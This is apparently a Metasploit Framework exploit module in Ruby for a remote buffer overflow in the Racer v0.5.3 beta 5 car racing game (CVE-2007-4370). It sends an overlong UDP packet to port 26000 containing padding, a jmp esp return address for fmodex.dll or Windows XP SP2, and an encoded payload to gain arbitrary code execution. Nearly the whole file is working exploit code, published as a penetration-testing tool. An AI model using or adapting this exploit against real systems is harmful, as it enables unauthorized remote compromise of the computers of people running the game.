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https://github.com/rapid7/metasploit-framework
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75 lines
1.9 KiB
Ruby
75 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Racer v0.5.3 beta 5 Buffer Overflow',
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'Description' => %q{
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This module explots the Racer Car and Racing Simulator game
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versions v0.5.3 beta 5 and earlier. Both the client and server listen
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on UDP port 26000. By sending an overly long buffer we are able to
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execute arbitrary code remotely.
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},
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'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-4370' ],
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[ 'OSVDB', '39601' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
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[ 'BID', '25297' ],
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],
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x5c\x00",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested ok patrickw 20090503
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[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
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[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
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[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
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],
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'DisclosureDate' => 'Aug 10 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(26000)
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], self.class)
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end
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def exploit
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connect_udp
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buf = Rex::Text.rand_text_alphanumeric(1001)
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buf << [target.ret].pack('V')
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buf << payload.encoded
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buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
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udp_sock.put(buf)
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handler
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disconnect_udp
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end
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end
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